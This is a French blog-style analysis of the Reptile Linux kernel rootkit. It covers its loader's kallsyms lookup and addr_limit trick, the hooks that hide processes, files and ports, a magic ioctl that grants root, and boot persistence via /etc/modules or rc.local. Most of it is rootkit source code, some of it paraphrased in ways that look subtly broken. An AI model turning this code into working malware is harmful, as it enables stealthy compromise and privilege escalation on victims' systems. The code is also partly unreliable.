Analyse du Rootkit LKM Reptile et de ses techniques d'injection

Cet article se penche sur Reptile, un rootkit LKM (Linux Kernel Module) populaire disponible sur GitHub, en analysant son implémentation et les méthodes utilisées pour s'intégrer au noyau Linux.

Installation et utilisation de Reptile

L'installation de Reptile est initiée via le script setup.sh :

sudo ./setup.sh install

Une fois installé, les commandes spécifiques à Reptile peuvent être exécutées, par exemple :

/reptile/reptile_cmd show

Cette commande affiche les fichiers du projet qui ont été déployés sur le système. Par défaut, ces fichiers sont cachés après l'installation.

Analyse des mécanismes internes de Reptile

Reptile s'appuie sur deux projets externes pour son fonctionnement :

  1. khook : Un framework de hookage du noyau Linux.
  2. kmatryoshka : Un chargeur de modules dynamique.

Fonctionnement de kmatryoshka

Le point d'entrée de kmatryoshka est la fonction init_module dans parasite_loader/main.c. Les fichiers dans le répertoire encrypt gèrent les aspects de chiffrement.

Le chargeur lui-même est injecté en tant que module noyau. Sa fonction principale est de charger des modules depuis l'espace utilisateur. Il utilise l'appel système init_module, dont l'adresse est obtenue dynamiquement via la recherche de symboles dans kallsyms.

La recherche de la fonction sys_init_module est effectuée à l'aide de kallsyms_on_each_symbol. Voici les fonctions clés pour la recherche de symboles :

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
    int i = 0;
    // Vérifie si le nom correspond au symbole recherché
    while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) {
            // Stocke l'adresse si le nom correspond entièrement
            data[1] = addr;
            return 1; // Indique que le symbole a été trouvé
        }
    }
    return 0; // Continue la recherche
}

static inline unsigned long ksym_lookup_name(const char *name)
{
    unsigned long data[2] = { (unsigned long)name, 0 };
    // Itère sur tous les symboles du noyau pour trouver l'adresse
    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
    return data[1]; // Retourne l'adresse trouvée ou 0
}

Dans la fonction init_module, ces utilitaires sont appelés comme suit :

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

Outre l'adresse de sys_init_module, le chargeur a besoin de la limite d'espaec d'adressage utilisateur (addr_limit) présente dans la structure thread_info. Cette limite est utilisée pour valider les adresses. kmatryoshka modifie temporairement cette valeur pour contourner les vérifications d'adresse lors de l'injection du module parasite :

if (sys_init_module) {
    // Le pointeur vers le module à charger
    const char *module_data = parasite_blob;
    // Sauvegarde la limite d'adresse utilisateur actuelle
    unsigned long original_addr_limit = user_addr_max();

    // Calcule la nouvelle limite d'adresse nécessaire
    unsigned long new_addr_limit = roundup((unsigned long)module_data + sizeof(parasite_blob), PAGE_SIZE);

    // Modifie la limite d'adresse utilisateur
    user_addr_max() = new_addr_limit;

    // Appelle sys_init_module pour charger le module parasite
    sys_init_module(module_data, sizeof(parasite_blob), NULL); // Le dernier argument est souvent NULL pour le module chargé

    // Restaure la limite d'adresse utilisateur d'origine
    user_addr_max() = original_addr_limit;
}

Fonctionnalités de Reptile

Le répertoire parasite_loader contient le code de kmatryoshka. Le répertoire khook fournit le framework de hookage. Les programmes dans sbin, comme reptile_cmd, sont compilés à partir du code source et servent d'interface utilisateur. Les scripts dans script sont utilisés pour la génération et sont supprimés après l'installation.

Le fichier loader/rep_mod.c contient la logique principale du module noyau de Reptile.

La fonction d'initialisation du module noyau, reptile_init, effectue les opérations suivantes :

  • Initialise le framework khook.
  • Configure un hook Netlink (magic_packet_hook_options) pour intercepter les paquets réseau.
  • Crée une file de tâches (workqueue) pour le traitement asynchrone.
  • Appelle la fonction exec avec des arguments prédéfinis (dont START, probablement défini dans setup.sh).
  • Appelle la fonction hide pour masquer le module.
static int __init reptile_init(void)
{
    int ret;
    // Arguments pour la commande d'exécution, START est probablement une macro
    char *argv[] = {START, NULL, NULL};

    // Création d'une file de tâches pour le noyau
    work_queue = create_workqueue(WORKQUEUE_NAME); // WORKQUEUE_NAME est une macro

    // Initialisation du framework de hookage khook
    ret = khook_init();
    if (ret != 0) {
        goto cleanup_workqueue; // Nettoyage si khook_init échoue
    }

    // Configuration du hook Netfilter pour les paquets magiques
    magic_packet_hook_options.hook = (void *)magic_packet_hook; // Fonction à exécuter lors de l'interception
    magic_packet_hook_options.hooknum = 0; // Numéro de hook (à vérifier selon la version du noyau)
    magic_packet_hook_options.pf = PF_INET; // Protocole IP
    magic_packet_hook_options.priority = NF_IP_PRI_FIRST; // Priorité d'exécution

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
    // Enregistrement du hook pour les noyaux récents
    nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
    // Enregistrement du hook pour les noyaux plus anciens
    nf_register_hook(&magic_packet_hook_options);
#endif
    
    // Exécution de la commande initiale
    exec(argv);

    // Masquage du module
    hide();

    return 0; // Succès

cleanup_workqueue:
    destroy_workqueue(work_queue); // Destruction de la file de tâches en cas d'échec
    return ret; // Retourne le code d'erreur
}

Hooks de processus et de privilèges

  • find_task_by_vpid : Hooké pour empêcher les processus normaux de trouver des processus spéciaux.
  • audit_alloc : Hooké pour désactiver le flag TIF_SYSCALL_AUDIT dans la structure thread_info des processus privilégiés.
  • exit_creds : Hooké pour effacer les indicateurs de privilèges lors de la libération des structures cred.
  • copy_creds : Hooké pour s'assurer que les processus enfants héritent des privilèges du processus parent.
  • load_elf_binary : Hooké lors du chargement des binaires ELF.

Hooks pour masquer les ports réseau

  • udp4_seq_show : Hooké pour masquer les ports UDP dans /proc/net/udp.
  • tcp4_seq_show : Hooké pour masquer les ports TCP dans /proc/net/tcp.

Hook Netlink (inet_ioctl)

Ce hook gère les commandes reçues via Netlink, permettant de contrôler le comportement du rootkit.

  • Commande AUTH avec HTUA : Active/désactive le mode de contrôle du rootkit.
  • args.cmd == 0 : Active ou désactive le masquage général du module (hide() / show()).
  • args.cmd == 1 : Contrôle la visibilité d'un processus spécifique par son PID en utilisant flag_tasks().
  • args.cmd == 2 : Active/désactive le "file tampering" (altération de fichiers).
  • args.cmd == 3 : Accorde des privilèges root au processus actuel en utilisant commit_creds(prepare_kernel_cred(0)) ou des méthodes plus anciennes.
  • args.cmd == 4 / args.cmd == 6 : Ajoute une adresse IP et un port à une liste pour masquer des connexions TCP ou UDP spécifiques.
  • args.cmd == 5 / args.cmd == 7 : Supprime une adresse IP et un port de la liste de masquage.
KHOOK_EXT(int, inet_ioctl, struct socket *sock, unsigned int cmd, unsigned long arg);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
{
    int ret = 0;
    unsigned int pid_to_control;
    struct control_params params; // Renamed for clarity
    struct sockaddr_in target_addr;
    struct hidden_connection *hc; // Renamed for clarity

    // Commande spéciale pour activer/désactiver le panneau de contrôle
    if (cmd == AUTH_CMD && arg == AUTH_ARG) { // Utilisation de macros pour les valeurs magiques
        control_flag = !control_flag; // Inverse l'état du flag de contrôle
        goto out;
    }

    // Traitement des commandes si le panneau de contrôle est actif
    if (control_flag && cmd == AUTH_CMD) {
        // Copie des paramètres depuis l'espace utilisateur
        if (copy_from_user(&params, (void *)arg, sizeof(params))) {
            goto out; // Erreur de copie
        }

        switch (params.command_id) { // Renamed for clarity
            case CMD_TOGGLE_MODULE_VISIBILITY: // 0: Masquer/Afficher le module
                if (is_module_hidden) {
                    show_module(); // Fonction pour afficher le module
                    is_module_hidden = 0;
                } else {
                    hide_module(); // Fonction pour masquer le module
                    is_module_hidden = 1;
                }
                break;
            case CMD_SET_TASK_VISIBILITY: // 1: Contrôler la visibilité d'un processus par PID
                // Copie du PID depuis l'espace utilisateur
                if (copy_from_user(&pid_to_control, params.argument_ptr, sizeof(unsigned int))) {
                    goto out; // Erreur de copie
                }

                if (is_process_hidden(pid_to_control)) // Vérifie si le processus est déjà masqué
                    set_process_visibility(pid_to_control, 0); // Rend visible
                else
                    set_process_visibility(pid_to_control, 1); // Rend invisible
                break;
            case CMD_TOGGLE_FILE_TAMPERING: // 2: Activer/Désactiver l'altération de fichiers
                file_tampering_enabled = !file_tampering_enabled; // Inverse l'état
                break;
            case CMD_GRANT_ROOT_PRIVILEGES: // 3: Obtenir les privilèges root
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                // Ancienne méthode pour définir les UID/GID et capacités
                current_cred.uid = 0; current_cred.suid = 0; current_cred.euid = 0;
                current_cred.gid = 0; current_cred.egid = 0;
                current_cred.fsuid = 0; current_cred.fsgid = 0;
                // ... gestion des capacités ...
#else
                // Nouvelle méthode utilisant commit_creds et prepare_kernel_cred
                commit_creds(prepare_kernel_cred(NULL));
#endif
                break;
            case CMD_ADD_HIDDEN_TCP_PORT: // 4: Ajouter un port TCP à masquer
                if (copy_from_user(&target_addr, params.argument_ptr, sizeof(struct sockaddr_in))) {
                    goto out;
                }
                hc = kmalloc(sizeof(*hc), GFP_KERNEL);
                if (!hc) goto out;
                hc->address = target_addr;
                list_add(&hc->list, &hidden_tcp_connections); // Ajoute à la liste
                break;
            case CMD_REMOVE_HIDDEN_TCP_PORT: // 5: Supprimer un port TCP masqué
                if (copy_from_user(&target_addr, params.argument_ptr, sizeof(struct sockaddr_in))) {
                    goto out;
                }
                // Parcours de la liste pour trouver et supprimer
                list_for_each_entry(hc, &hidden_tcp_connections, list) {
                    if (target_addr.sin_port == hc->address.sin_port &&
                        target_addr.sin_addr.s_addr == hc->address.sin_addr.s_addr) {
                        list_del(&hc->list);
                        kfree(hc);
                        break;
                    }
                }
                break;
            case CMD_ADD_HIDDEN_UDP_PORT: // 6: Ajouter un port UDP à masquer
                 if (copy_from_user(&target_addr, params.argument_ptr, sizeof(struct sockaddr_in))) {
                    goto out;
                }
                hc = kmalloc(sizeof(*hc), GFP_KERNEL);
                if (!hc) goto out;
                hc->address = target_addr;
                list_add(&hc->list, &hidden_udp_connections); // Ajoute à la liste
                break;
            case CMD_REMOVE_HIDDEN_UDP_PORT: // 7: Supprimer un port UDP masqué
                if (copy_from_user(&target_addr, params.argument_ptr, sizeof(struct sockaddr_in))) {
                    goto out;
                }
                // Parcours de la liste pour trouver et supprimer
                list_for_each_entry(hc, &hidden_udp_connections, list) {
                    if (target_addr.sin_port == hc->address.sin_port &&
                        target_addr.sin_addr.s_addr == hc->address.sin_addr.s_addr) {
                        list_del(&hc->list);
                        kfree(hc);
                        break;
                    }
                }
                break;
            default:
                // Si la commande n'est pas reconnue, appelle la fonction originale
                goto call_original_inet_ioctl;
        }
        goto out; // Commande traitée
    }

call_original_inet_ioctl:
    // Appelle la fonction inet_ioctl originale si aucune commande de contrôle n'a été traitée
    ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
    return ret; // Retourne le résultat
}

Hooks pour masquer les fichiers

Reptile utilise des hooks sur les fonctions de remplissage de répertoires (filldir, fillonedir, filldir64, etc.) pour filtrer les entrées lors de la lecture de répertoires via getdents ou getdents64. Les fichiers dont le nom contient la chaîne HIDE (probablement définie comme macro) sont masqués si le rootkit est actif.

__d_lookup est également hooké pour masquer les entrées lors de la résolution de noms de fichiers.

next_tgid est hooké pour filtrer les processus lors de l'itération sur les groupes de threads, masquant ceux qui ont un flag spécifique défini.

// Hook pour la lecture de fichiers, potentiellement pour filtrer le contenu
KHOOK_EXT(ssize_t, vfs_read, struct file *file, char __user *buf, size_t count, loff_t *pos);
static ssize_t khook_vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{
    // Logique pour filtrer le contenu lu
    return KHOOK_ORIGIN(vfs_read, file, buf, count, pos);
}

// Fonctions pour masquer les entrées de répertoire
// Les versions diffèrent selon l'architecture et la version du noyau
KHOOK_EXT(int, fill_dir_entry, void *buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type);
static int khook_fill_dir_entry(void *buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type)
{
    int result = 0;
    // Si le nom ne contient pas le marqueur de masquage ou si le rootkit n'est pas actif, appelle la fonction originale
    if (!strstr(name, HIDE_MARKER) || !is_system_hidden) {
        result = KHOOK_ORIGIN(fill_dir_entry, buf, name, namlen, offset, ino, d_type);
    }
    return result;
}

// Hook pour la résolution de noms dans la table dentry
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, lookup_dcache, const struct dentry *, const struct qstr *);
struct dentry *khook_lookup_dcache(const struct dentry *parent, const struct qstr *name_info)
#else
KHOOK_EXT(struct dentry *, lookup_dcache, struct dentry *, struct qstr *);
struct dentry *khook_lookup_dcache(struct dentry *parent, struct qstr *name_info)
#endif
{
    struct dentry *found_dentry = NULL;
    // Ne pas afficher les entrées contenant le marqueur de masquage si le rootkit est actif
    if (!strstr(name_info->name, HIDE_MARKER) || !is_system_hidden) {
        found_dentry = KHOOK_ORIGIN(lookup_dcache, parent, name_info);
    }
    return found_dentry;
}

// Hook pour itérer sur les processus (tgid)
KHOOK_EXT(struct task_iterator, get_next_task_struct, struct pid_namespace *, struct task_iterator);
static struct task_iterator khook_get_next_task_struct(struct pid_namespace *ns, struct task_iterator iter)
{
    // Si le système est masqué, saute les processus marqués comme cachés
    if (is_system_hidden) {
        while ((iter = KHOOK_ORIGIN(get_next_task_struct, ns, iter), iter.task) != NULL) {
            if (!(iter.task->flags & PROCESS_HIDDEN_FLAG)) // Utilisation d'une macro pour le flag
                break; // Trouvé un processus non caché
            iter.tgid++; // Passe au suivant
        }
    } else {
        // Sinon, récupère simplement le suivant
        iter = KHOOK_ORIGIN(get_next_task_struct, ns, iter);
    }
    return iter;
}

Fonctions utilitaires

  • hide_content(void *data, ssize_t size) : Fonction pour masquer du contenu spécifique.
  • f_check(void *data, ssize_t size) : Vérifie si du contenu doit être masqué.
  • is_invisible(pid_t pid) : Vérifie si un processus est marqué comme invisible.
  • flag_tasks(pid_t pid, int set_flag) : Définit ou efface un flag pour un processus donné (pour le masquer ou le rendre visible).
  • show_module(void) : Rend le module visible.
  • hide_module(void) : Masque le module en le retirant de la liste globale des modules.

Persistance du rootkit

Le script setup.sh configure le chargement automatique du module au démarrage du système, en fonction de la distribution Linux détectée (Debian/Ubuntu, Red Hat/CentOS/Fedora).

    if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
        # Ajoute le module au fichier /etc/modules pour les distributions basées sur Debian
        echo -e "# Rootkit Reptile \n$MODULE_NAME" >> /etc/modules || { echo -e "\e[01;31mErreur lors de l'écriture dans /etc/modules !\e[00m\n"; exit 1; }
    elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
        # Crée ou modifie un script rc.modules pour charger le module via modprobe
        echo -e "#!/bin/sh\n# Charger le module Reptile au démarrage\n/sbin/modprobe $MODULE_NAME" > /etc/rc.d/rc.local || { echo -e "\e[01;31mErreur lors de la création de /etc/rc.d/rc.local !\e[00m\n"; exit 1; }
        chmod +x /etc/rc.d/rc.local # Rend le script exécutable
    fi

Étiquettes: Linux Kernel lkm rootkit kmatryoshka

Publié le 14 juin à 02h14